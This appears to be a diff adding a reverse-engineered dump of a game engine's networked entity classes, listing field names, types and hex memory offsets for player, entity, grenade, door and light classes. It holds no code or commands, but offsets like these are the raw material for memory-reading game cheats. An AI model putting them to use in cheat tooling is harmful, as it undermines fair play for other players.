+class DT_BaseCombatCharacter extends DT_BaseAnimatingOverlay + +``` +{ + bcc_localdata: DT_BCCLocalPlayerExclusive, + m_weaponGettingSwitchedOut: DataTable, + m_showActiveWeapon3p: DataTable, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_networkedFlags: Int, + m_deathVelocity: Vector, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_lastFiredTime: Time, + m_lastFiredWeapon: Int, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_selectedWeapons: DataTable, + m_latestPrimaryWeapons: DataTable, + m_latestPrimaryWeaponsIndexZeroOrOne: DataTable, + m_latestNonOffhandWeapons: DataTable, + m_lastCycleSlot: Int, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Int, + m_weaponDisabledFlags: Int, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: DataTable, + m_hudInfo_visibilityTestAlwaysPasses: Int, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, + m_targetInfoIconName: String, +} +``` + +### Offsets + +``` +DT_BaseCombatCharacter!0x0000 bcc_localdata +DT_BaseCombatCharacter!0x0008 m_weaponGettingSwitchedOut +DT_BaseCombatCharacter!0x0010 m_showActiveWeapon3p +DT_BaseCombatCharacter!0x0038 m_vecViewOffset.x +DT_BaseCombatCharacter!0x003c m_vecViewOffset.y +DT_BaseCombatCharacter!0x0040 m_vecViewOffset.z +DT_BaseCombatCharacter!0x019c m_cloakEndTime +DT_BaseCombatCharacter!0x01a0 m_cloakFadeInEndTime +DT_BaseCombatCharacter!0x01a4 m_cloakFadeOutStartTime +DT_BaseCombatCharacter!0x01a8 m_cloakFadeInDuration +DT_BaseCombatCharacter!0x01ac m_cloakFlickerAmount +DT_BaseCombatCharacter!0x01b0 m_cloakFlickerEndTime +DT_BaseCombatCharacter!0x03d4 m_networkedFlags +DT_BaseCombatCharacter!0x0454 m_deathVelocity +DT_BaseCombatCharacter!0x0948 m_minimapData +DT_BaseCombatCharacter!0x0998 m_nameVisibilityFlags +DT_BaseCombatCharacter!0x1984 m_lastFiredTime +DT_BaseCombatCharacter!0x1988 m_lastFiredWeapon +DT_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +DT_BaseCombatCharacter!0x1990 m_sharedEnergyCount +DT_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +DT_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +DT_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +DT_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +DT_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +DT_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +DT_BaseCombatCharacter!0x1a08 m_selectedWeapons +DT_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +DT_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +DT_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +DT_BaseCombatCharacter!0x1a24 m_lastCycleSlot +DT_BaseCombatCharacter!0x1a2c m_weaponPermission +DT_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +DT_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +DT_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +DT_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +DT_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +DT_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +DT_BaseCombatCharacter!0x1a7c m_contextAction +DT_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +DT_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +DT_BaseCombatCharacter!0x1afc m_targetInfoIconName +``` +
+
+class DT_BaseEntity + +``` +{ + movetype: Int, + movecollide: Int, + predictable_id: DT_PredictableId, + HighlightSettings: DT_HighlightSettings, + moveparent: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_clrRender: Int, + m_cellZ: Int, + m_clIntensity: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_squadID: Int, + m_grade: Int, + m_ignorePredictedTriggerFlags: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_bRenderWithViewModels: Int, + m_nRenderFX: Int, + m_nRenderMode: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_contents: Int, + m_collideWithOwner: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_phaseShiftFlags: Int, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_attachmentLerpStartTime: Time, + m_attachmentLerpEndTime: Time, + m_attachmentLerpStartOrigin: Vector, + m_attachmentLerpStartAngles: Vector, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_dissolveEffectEntityHandle: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_spottedByTeams: DataTable, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_realmsBitMask: BitMask, +} +``` + +### Offsets + +``` +DT_BaseEntity!0x0000 movetype +DT_BaseEntity!0x0000 movecollide +DT_BaseEntity!0x0000 predictable_id +DT_BaseEntity!0x0000 HighlightSettings +DT_BaseEntity!0x001c moveparent +DT_BaseEntity!0x0024 m_parentAttachmentIndex +DT_BaseEntity!0x0044 m_fEffects +DT_BaseEntity!0x0048 m_usableType +DT_BaseEntity!0x004c m_cellX +DT_BaseEntity!0x0050 m_cellY +DT_BaseEntity!0x0050 m_clrRender +DT_BaseEntity!0x0054 m_cellZ +DT_BaseEntity!0x0054 m_clIntensity +DT_BaseEntity!0x0058 m_localOrigin +DT_BaseEntity!0x0064 m_nModelIndex +DT_BaseEntity!0x0124 m_bossPlayer +DT_BaseEntity!0x0170 m_shieldHealth +DT_BaseEntity!0x0174 m_shieldHealthMax +DT_BaseEntity!0x03cc m_bIsSoundCodeControllerValueSet +DT_BaseEntity!0x03d0 m_flSoundCodeControllerValue +DT_BaseEntity!0x03d4 m_networkedFlags +DT_BaseEntity!0x0428 m_visibilityFlags +DT_BaseEntity!0x0430 m_iTeamNum +DT_BaseEntity!0x0438 m_teamMemberIndex +DT_BaseEntity!0x043c m_squadID +DT_BaseEntity!0x0440 m_grade +DT_BaseEntity!0x0444 m_ignorePredictedTriggerFlags +DT_BaseEntity!0x0448 m_passThroughFlags +DT_BaseEntity!0x044c m_passThroughThickness +DT_BaseEntity!0x0450 m_passThroughDirection +DT_BaseEntity!0x046c m_localAngles +DT_BaseEntity!0x0480 m_hOwnerEntity +DT_BaseEntity!0x0484 m_bRenderWithViewModels +DT_BaseEntity!0x0485 m_nRenderFX +DT_BaseEntity!0x0491 m_nRenderMode +DT_BaseEntity!0x0498 m_Collision +DT_BaseEntity!0x0518 m_CollisionGroup +DT_BaseEntity!0x051c m_contents +DT_BaseEntity!0x0520 m_collideWithOwner +DT_BaseEntity!0x0558 m_iSignifierName +DT_BaseEntity!0x0561 m_iName +DT_BaseEntity!0x0668 m_scriptNameIndex +DT_BaseEntity!0x066c m_instanceNameIndex +DT_BaseEntity!0x06f0 m_holdUsePrompt +DT_BaseEntity!0x06f8 m_pressUsePrompt +DT_BaseEntity!0x0790 m_phaseShiftFlags +DT_BaseEntity!0x0794 m_baseTakeDamage +DT_BaseEntity!0x0798 m_invulnerableToDamageCount +DT_BaseEntity!0x080c m_attachmentLerpStartTime +DT_BaseEntity!0x0810 m_attachmentLerpEndTime +DT_BaseEntity!0x0814 m_attachmentLerpStartOrigin +DT_BaseEntity!0x0820 m_attachmentLerpStartAngles +DT_BaseEntity!0x0838 m_parentAttachmentModel +DT_BaseEntity!0x0844 m_fadeDist +DT_BaseEntity!0x08f8 m_dissolveEffectEntityHandle +DT_BaseEntity!0x0908 m_usablePriority +DT_BaseEntity!0x090c m_usableDistanceOverride +DT_BaseEntity!0x0910 m_usableFOV +DT_BaseEntity!0x0914 m_usePromptSize +DT_BaseEntity!0x0928 m_spottedByTeams +DT_BaseEntity!0x0a20 m_firstChildEntityLink +DT_BaseEntity!0x0a24 m_firstParentEntityLink +DT_BaseEntity!0x0a28 m_realmsBitMask +``` +
+
+class DT_BaseGrenade extends DT_Projectile + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_doesExplode: Int, + m_DmgRadius: Float, + m_grenadeStatusFlags: Int, + m_ziplineGrenadeExpectedEndPosition: Vector, +} +``` + +### Offsets + +``` +DT_BaseGrenade!0x001c moveparent +DT_BaseGrenade!0x0020 m_parentAttachmentType +DT_BaseGrenade!0x0024 m_parentAttachmentIndex +DT_BaseGrenade!0x019c m_cloakEndTime +DT_BaseGrenade!0x01a0 m_cloakFadeInEndTime +DT_BaseGrenade!0x01a4 m_cloakFadeOutStartTime +DT_BaseGrenade!0x01a8 m_cloakFadeInDuration +DT_BaseGrenade!0x01ac m_cloakFlickerAmount +DT_BaseGrenade!0x01b0 m_cloakFlickerEndTime +DT_BaseGrenade!0x0794 m_baseTakeDamage +DT_BaseGrenade!0x0798 m_invulnerableToDamageCount +DT_BaseGrenade!0x0834 m_parentAttachmentHitbox +DT_BaseGrenade!0x0838 m_parentAttachmentModel +DT_BaseGrenade!0x2c41 m_doesExplode +DT_BaseGrenade!0x2c44 m_DmgRadius +DT_BaseGrenade!0x2c68 m_grenadeStatusFlags +DT_BaseGrenade!0x2cd8 m_ziplineGrenadeExpectedEndPosition +``` +
+
+class DT_BaseViewModel + +``` +{ + overlay_vars: DT_OverlayVars, + m_animStartTime: Time, + m_animOverlayIsActive: DataTable, + m_animStartCycle: Float, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animOverlayStartTime: DataTable, + m_animModelIndex: Int, + m_animSequence: Int, + m_nNewSequenceParity: Int, + m_animOverlayStartCycle: DataTable, + m_fEffects: Int, + m_clrRender: Int, + m_animOverlayPlaybackRate: DataTable, + m_nModelIndex: Int, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, + m_nRenderMode: Int, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Int, + m_flModelScale: Float, + m_overlayEventParity: DataTable, + m_viewModelOwner: Int, + m_projectileIsVisible: Int, + m_bBlockEventLayer: Int, + m_isAdsTransition: Int, + m_hWeapon: Int, + m_tracerAttachments: DataTable, + m_tracerAttachmentsScoped: DataTable, +} +``` + +### Offsets + +``` +DT_BaseViewModel!0x0000 overlay_vars +DT_BaseViewModel!0x0008 m_animStartTime +DT_BaseViewModel!0x0008 m_animOverlayIsActive +DT_BaseViewModel!0x000c m_animStartCycle +DT_BaseViewModel!0x0010 m_animPlaybackRate +DT_BaseViewModel!0x0014 m_animFrozen +DT_BaseViewModel!0x0014 m_animOverlayStartTime +DT_BaseViewModel!0x0018 m_animModelIndex +DT_BaseViewModel!0x001c m_animSequence +DT_BaseViewModel!0x0020 m_nNewSequenceParity +DT_BaseViewModel!0x0038 m_animOverlayStartCycle +DT_BaseViewModel!0x0044 m_fEffects +DT_BaseViewModel!0x0050 m_clrRender +DT_BaseViewModel!0x005c m_animOverlayPlaybackRate +DT_BaseViewModel!0x0064 m_nModelIndex +DT_BaseViewModel!0x0080 m_animOverlayModelIndex +DT_BaseViewModel!0x00a4 m_animOverlaySequence +DT_BaseViewModel!0x00c8 m_animOverlayWeight +DT_BaseViewModel!0x00ec m_animOverlayOrder +DT_BaseViewModel!0x0110 m_animOverlayAnimTime +DT_BaseViewModel!0x0134 m_animOverlayFadeInDuration +DT_BaseViewModel!0x0158 m_animOverlayFadeOutDuration +DT_BaseViewModel!0x0491 m_nRenderMode +DT_BaseViewModel!0x0e90 m_nBody +DT_BaseViewModel!0x0e9c m_nResetEventsParity +DT_BaseViewModel!0x0f34 m_bSequenceFinished +DT_BaseViewModel!0x0f40 m_flModelScale +DT_BaseViewModel!0x1711 m_overlayEventParity +DT_BaseViewModel!0x19d8 m_viewModelOwner +DT_BaseViewModel!0x19dc m_projectileIsVisible +DT_BaseViewModel!0x1dc0 m_bBlockEventLayer +DT_BaseViewModel!0x1dc1 m_isAdsTransition +DT_BaseViewModel!0x1dc4 m_hWeapon +DT_BaseViewModel!0x1dc8 m_tracerAttachments +DT_BaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class DT_BoneFollower + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_modelIndex: Int, + m_boneIndex: Int, +} +``` + +### Offsets + +``` +DT_BoneFollower!0x004c m_cellX +DT_BoneFollower!0x0050 m_cellY +DT_BoneFollower!0x0054 m_cellZ +DT_BoneFollower!0x0058 m_localOrigin +DT_BoneFollower!0x0064 m_nModelIndex +DT_BoneFollower!0x03d4 m_networkedFlags +DT_BoneFollower!0x046c m_localAngles +DT_BoneFollower!0x0480 m_hOwnerEntity +DT_BoneFollower!0x0498 m_Collision +DT_BoneFollower!0x0518 m_CollisionGroup +DT_BoneFollower!0x0a40 m_modelIndex +DT_BoneFollower!0x0a44 m_boneIndex +``` +
+
+class DT_BreakableSurface extends DT_BaseEntity + +``` +{ + m_nNumWide: Int, + m_nNumHigh: Int, + m_flPanelWidth: Float, + m_flPanelHeight: Float, + m_vNormal: Vector, + m_vUp: Vector, + m_vCorner: Vector, + m_bIsBroken: Int, + m_nSurfaceType: Int, + m_RawPanelBitVec: DataTable, +} +``` + +### Offsets + +``` +DT_BreakableSurface!0x0a48 m_nNumWide +DT_BreakableSurface!0x0a4c m_nNumHigh +DT_BreakableSurface!0x0a50 m_flPanelWidth +DT_BreakableSurface!0x0a54 m_flPanelHeight +DT_BreakableSurface!0x0a58 m_vNormal +DT_BreakableSurface!0x0a64 m_vUp +DT_BreakableSurface!0x0a7c m_vCorner +DT_BreakableSurface!0x0a88 m_bIsBroken +DT_BreakableSurface!0x0a8c m_nSurfaceType +DT_BreakableSurface!0x0ac8 m_RawPanelBitVec +``` +
+
+class DT_CPropDoor + +``` +{ + HighlightSettings: DT_HighlightSettings, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_nSkin: Int, + m_skinMod: Int, + m_closedAngle: Float, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_isLocked: Int, + m_oppositeDoor: Int, + m_interactingPlayer: Int, + m_interactingPlayerWantsOpen: Int, +} +``` + +### Offsets + +``` +DT_CPropDoor!0x0000 HighlightSettings +DT_CPropDoor!0x0044 m_fEffects +DT_CPropDoor!0x0048 m_usableType +DT_CPropDoor!0x004c m_cellX +DT_CPropDoor!0x0050 m_cellY +DT_CPropDoor!0x0054 m_cellZ +DT_CPropDoor!0x0058 m_localOrigin +DT_CPropDoor!0x0064 m_nModelIndex +DT_CPropDoor!0x03d4 m_networkedFlags +DT_CPropDoor!0x046c m_localAngles +DT_CPropDoor!0x0e88 m_nSkin +DT_CPropDoor!0x0e8c m_skinMod +DT_CPropDoor!0x1670 m_closedAngle +DT_CPropDoor!0x1674 m_angle +DT_CPropDoor!0x1678 m_startAngle +DT_CPropDoor!0x167c m_startAngleVel +DT_CPropDoor!0x1680 m_startMoveTime +DT_CPropDoor!0x1684 m_isLocked +DT_CPropDoor!0x1688 m_oppositeDoor +DT_CPropDoor!0x16d8 m_interactingPlayer +DT_CPropDoor!0x16dc m_interactingPlayerWantsOpen +``` +
+
+class DT_CascadeLight extends DT_BaseEntity + +``` +{ + m_shadowDirection: Vector, + m_envLightShadowDirection: Vector, + m_bEnabled: Int, + m_bEnableShadows: Int, + m_LightColor: Int, + m_cloudMaskName: String, + m_cloudOffset: Vector, + m_cloudScale: Float, +} +``` + +### Offsets + +``` +DT_CascadeLight!0x0a40 m_shadowDirection +DT_CascadeLight!0x0a58 m_envLightShadowDirection +DT_CascadeLight!0x0a6c m_bEnabled +DT_CascadeLight!0x0a6d m_bEnableShadows +DT_CascadeLight!0x0a6f m_LightColor +DT_CascadeLight!0x0a73 m_cloudMaskName +DT_CascadeLight!0x0b78 m_cloudOffset +DT_CascadeLight!0x0b84 m_cloudScale +``` +
+
+class DT_CollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Int, + m_triggerBloat: Int, + m_collisionDetailLevel: Int, + m_nSurroundType: Int, + m_vecSpecifiedSurroundingMins: Vector, + m_vecSpecifiedSurroundingMaxs: Vector, +} +``` + +### Offsets + +``` +DT_CollisionProperty!0x0010 m_vecMins +DT_CollisionProperty!0x001c m_vecMaxs +DT_CollisionProperty!0x0028 m_usSolidFlags +DT_CollisionProperty!0x002c m_nSolidType +DT_CollisionProperty!0x002d m_triggerBloat +DT_CollisionProperty!0x002e m_collisionDetailLevel +DT_CollisionProperty!0x003c m_nSurroundType +DT_CollisionProperty!0x0048 m_vecSpecifiedSurroundingMins +DT_CollisionProperty!0x0054 m_vecSpecifiedSurroundingMaxs +``` +
+
+class DT_ColorCorrection extends DT_BaseEntity + +``` +{ + m_hOwnerEntity: Int, + m_localOrigin: Vector, + m_MinFalloff: Float, + m_MaxFalloff: Float, + m_flFadeInDuration: Float, + m_flFadeOutDuration: Float, + m_flMaxWeight: Float, + m_flCurWeight: Float, + m_netLookupFilename: String, + m_bEnabled: Int, + m_bMaster: Int, + m_bClientSide: Int, + m_bExclusive: Int, +} +``` + +### Offsets + +``` +DT_ColorCorrection!0x0480 m_hOwnerEntity +DT_ColorCorrection!0x0a40 m_localOrigin +DT_ColorCorrection!0x0a4c m_MinFalloff +DT_ColorCorrection!0x0a50 m_MaxFalloff +DT_ColorCorrection!0x0a54 m_flFadeInDuration +DT_ColorCorrection!0x0a58 m_flFadeOutDuration +DT_ColorCorrection!0x0a5c m_flMaxWeight +DT_ColorCorrection!0x0a60 m_flCurWeight +DT_ColorCorrection!0x0a64 m_netLookupFilename +DT_ColorCorrection!0x0b68 m_bEnabled +DT_ColorCorrection!0x0b69 m_bMaster +DT_ColorCorrection!0x0b6a m_bClientSide +DT_ColorCorrection!0x0b6b m_bExclusive +``` +
+
+class DT_CurrentData_LocalPlayer + +``` +{ + m_viewConeAngleMin: Vector, + m_viewConeAngleMax: Vector, + m_stepSmoothingOffset: Vector, + m_duckTransitionRemainderMsec: Int, + m_vecPunchBase_Angle: Vector, + m_vecPunchBase_AngleVel: Vector, + m_vecPunchWeapon_Angle: Vector, + m_vecPunchWeapon_AngleVel: Vector, + m_pushedFixedPointOffset: DataTable, + m_pushedFixedPointOffsetReplayCompensated: DataTable, + m_localGravityRotation: Rotation, +} +``` + +### Offsets + +``` +DT_CurrentData_LocalPlayer!0x0000 m_viewConeAngleMin +DT_CurrentData_LocalPlayer!0x000c m_viewConeAngleMax +DT_CurrentData_LocalPlayer!0x0018 m_stepSmoothingOffset +DT_CurrentData_LocalPlayer!0x0024 m_duckTransitionRemainderMsec +DT_CurrentData_LocalPlayer!0x0028 m_vecPunchBase_Angle +DT_CurrentData_LocalPlayer!0x0034 m_vecPunchBase_AngleVel +DT_CurrentData_LocalPlayer!0x0040 m_vecPunchWeapon_Angle +DT_CurrentData_LocalPlayer!0x004c m_vecPunchWeapon_AngleVel +DT_CurrentData_LocalPlayer!0x0058 m_pushedFixedPointOffset +DT_CurrentData_LocalPlayer!0x0064 m_pushedFixedPointOffsetReplayCompensated +DT_CurrentData_LocalPlayer!0x007c m_localGravityRotation +``` +
+
+class DT_CurrentData_Player + +``` +{ + m_flHullHeight: Float, + m_angEyeAngles.x: Float, + m_angEyeAngles.y: Float, + m_traversalAnimProgress: Float, + m_sprintTiltFrac: Float, + m_ammoPoolCount: DataTable, +} +``` + +### Offsets + +``` +DT_CurrentData_Player!0x0014 m_flHullHeight +DT_CurrentData_Player!0x0018 m_angEyeAngles.x +DT_CurrentData_Player!0x001c m_angEyeAngles.y +DT_CurrentData_Player!0x0024 m_traversalAnimProgress +DT_CurrentData_Player!0x0028 m_sprintTiltFrac +DT_CurrentData_Player!0x002c m_ammoPoolCount +``` +
+
+class DT_DoorMover + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_vecAngVelocity: Vector, + m_networkedFlags: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_scriptNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_doorFlags: Int, +} +``` + +### Offsets + +``` +DT_DoorMover!0x001c moveparent +DT_DoorMover!0x0020 m_parentAttachmentType +DT_DoorMover!0x0024 m_parentAttachmentIndex +DT_DoorMover!0x0044 m_fEffects +DT_DoorMover!0x0048 m_usableType +DT_DoorMover!0x004c m_cellX +DT_DoorMover!0x0050 m_cellY +DT_DoorMover!0x0054 m_cellZ +DT_DoorMover!0x0058 m_localOrigin +DT_DoorMover!0x0064 m_nModelIndex +DT_DoorMover!0x0128 m_vecAngVelocity +DT_DoorMover!0x03d4 m_networkedFlags +DT_DoorMover!0x0460 m_vecVelocity +DT_DoorMover!0x046c m_localAngles +DT_DoorMover!0x0498 m_Collision +DT_DoorMover!0x0518 m_CollisionGroup +DT_DoorMover!0x0558 m_iSignifierName +DT_DoorMover!0x0668 m_scriptNameIndex +DT_DoorMover!0x06f0 m_holdUsePrompt +DT_DoorMover!0x06f8 m_pressUsePrompt +DT_DoorMover!0x0834 m_parentAttachmentHitbox +DT_DoorMover!0x0838 m_parentAttachmentModel +DT_DoorMover!0x0844 m_fadeDist +DT_DoorMover!0x0908 m_usablePriority +DT_DoorMover!0x090c m_usableDistanceOverride +DT_DoorMover!0x0910 m_usableFOV +DT_DoorMover!0x0914 m_usePromptSize +DT_DoorMover!0x1880 m_doorFlags +``` +
+
+class DT_DynamicLight extends DT_BaseEntity + +``` +{ + m_Flags: Int, + m_LightStyle: Int, + m_Radius: Float, + m_Exponent: Int, + m_InnerAngle: Float, + m_OuterAngle: Float, + m_SpotRadius: Float, +} +``` + +### Offsets + +``` +DT_DynamicLight!0x0a40 m_Flags +DT_DynamicLight!0x0a41 m_LightStyle +DT_DynamicLight!0x0a44 m_Radius +DT_DynamicLight!0x0a48 m_Exponent +DT_DynamicLight!0x0a4c m_InnerAngle +DT_DynamicLight!0x0a50 m_OuterAngle +DT_DynamicLight!0x0a54 m_SpotRadius +``` +
+
+class DT_DynamicProp extends DT_BreakableProp + +``` +{ + m_iTeamNum: Int, + m_lifeState: Int, + m_bUseHitboxesForRenderBox: Int, + m_bAnimateInStaticShadow: Int, + m_wantsScopeHighlight: Int, +} +``` + +### Offsets + +``` +DT_DynamicProp!0x0430 m_iTeamNum +DT_DynamicProp!0x0770 m_lifeState +DT_DynamicProp!0x1601 m_bUseHitboxesForRenderBox +DT_DynamicProp!0x1602 m_bAnimateInStaticShadow +DT_DynamicProp!0x1603 m_wantsScopeHighlight +``` +
+
+class DT_DynamicPropLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_nSkin: Int, + m_skinMod: Int, +} +``` + +### Offsets + +``` +DT_DynamicPropLightweight!0x001c moveparent +DT_DynamicPropLightweight!0x0020 m_parentAttachmentType +DT_DynamicPropLightweight!0x0024 m_parentAttachmentIndex +DT_DynamicPropLightweight!0x0044 m_fEffects +DT_DynamicPropLightweight!0x004c m_cellX +DT_DynamicPropLightweight!0x0050 m_cellY +DT_DynamicPropLightweight!0x0054 m_cellZ +DT_DynamicPropLightweight!0x0058 m_localOrigin +DT_DynamicPropLightweight!0x0064 m_nModelIndex +DT_DynamicPropLightweight!0x03d4 m_networkedFlags +DT_DynamicPropLightweight!0x0428 m_visibilityFlags +DT_DynamicPropLightweight!0x046c m_localAngles +DT_DynamicPropLightweight!0x0498 m_Collision +DT_DynamicPropLightweight!0x0518 m_CollisionGroup +DT_DynamicPropLightweight!0x0838 m_parentAttachmentModel +DT_DynamicPropLightweight!0x0844 m_fadeDist +DT_DynamicPropLightweight!0x0e88 m_nSkin +DT_DynamicPropLightweight!0x0e8c m_skinMod +``` +
+
+class DT_EffectData + +``` +{ + m_vOrigin.x: Float, + m_vOrigin.y: Float, + m_vOrigin.z: Float, + m_vStart.x: Float, + m_vStart.y: Float, + m_vStart.z: Float, + m_vNormal: Vector, + m_vAngles: Vector, + m_effectFlags: Int, + m_effectEntHandle: Int, + m_otherEntHandle: Int, + m_flScale: Float, + m_flMagnitude: Float, + m_flRadius: Float, + m_nAttachmentIndex: Int, + m_attachmentIndexForViewmodel: Int, + m_nSurfaceProp: Int, + m_nDamageType: Int, + m_nOtherEntIndex: Int, + m_sharedInt32_A: Int, + m_sharedInt32_B: Int, + m_iImpactEffectTableIndex: Int, + m_nColor: Int, + m_persistentWeaponEffect: Int, + m_iEffectName: Int, +} +``` + +### Offsets + +``` +DT_EffectData!0x0000 m_vOrigin.x +DT_EffectData!0x0004 m_vOrigin.y +DT_EffectData!0x0008 m_vOrigin.z +DT_EffectData!0x000c m_vStart.x +DT_EffectData!0x0010 m_vStart.y +DT_EffectData!0x0014 m_vStart.z +DT_EffectData!0x0018 m_vNormal +DT_EffectData!0x0024 m_vAngles +DT_EffectData!0x0030 m_effectFlags +DT_EffectData!0x0050 m_effectEntHandle +DT_EffectData!0x0054 m_otherEntHandle +DT_EffectData!0x0058 m_flScale +DT_EffectData!0x005c m_flMagnitude +DT_EffectData!0x0060 m_flRadius +DT_EffectData!0x0064 m_nAttachmentIndex +DT_EffectData!0x0068 m_attachmentIndexForViewmodel +DT_EffectData!0x006c m_nSurfaceProp +DT_EffectData!0x0070 m_nDamageType +DT_EffectData!0x0074 m_nOtherEntIndex +DT_EffectData!0x007c m_sharedInt32_A +DT_EffectData!0x0080 m_sharedInt32_B +DT_EffectData!0x0084 m_iImpactEffectTableIndex +DT_EffectData!0x0088 m_nColor +DT_EffectData!0x009c m_persistentWeaponEffect +DT_EffectData!0x00a0 m_iEffectName +``` +
+
+class DT_EntityDissolve extends DT_BaseEntity + +``` +{ + m_flStartTime: Time, + m_flFadeStart: Float, + m_flFadeLength: Float, + m_nDissolveType: Int, + m_isLethal: Int, +} +``` + +### Offsets + +``` +DT_EntityDissolve!0x0a48 m_flStartTime +DT_EntityDissolve!0x0a4c m_flFadeStart +DT_EntityDissolve!0x0a50 m_flFadeLength +DT_EntityDissolve!0x0a54 m_nDissolveType +DT_EntityDissolve!0x0a58 m_isLethal +``` +
+
+class DT_EntityLinkPage + +``` +{ + pageIndex: Int, + next: DataTable, + entity: DataTable, +} +``` + +### Offsets + +``` +DT_EntityLinkPage!0x0a40 pageIndex +DT_EntityLinkPage!0x0a44 next +DT_EntityLinkPage!0x0e44 entity +``` +
+
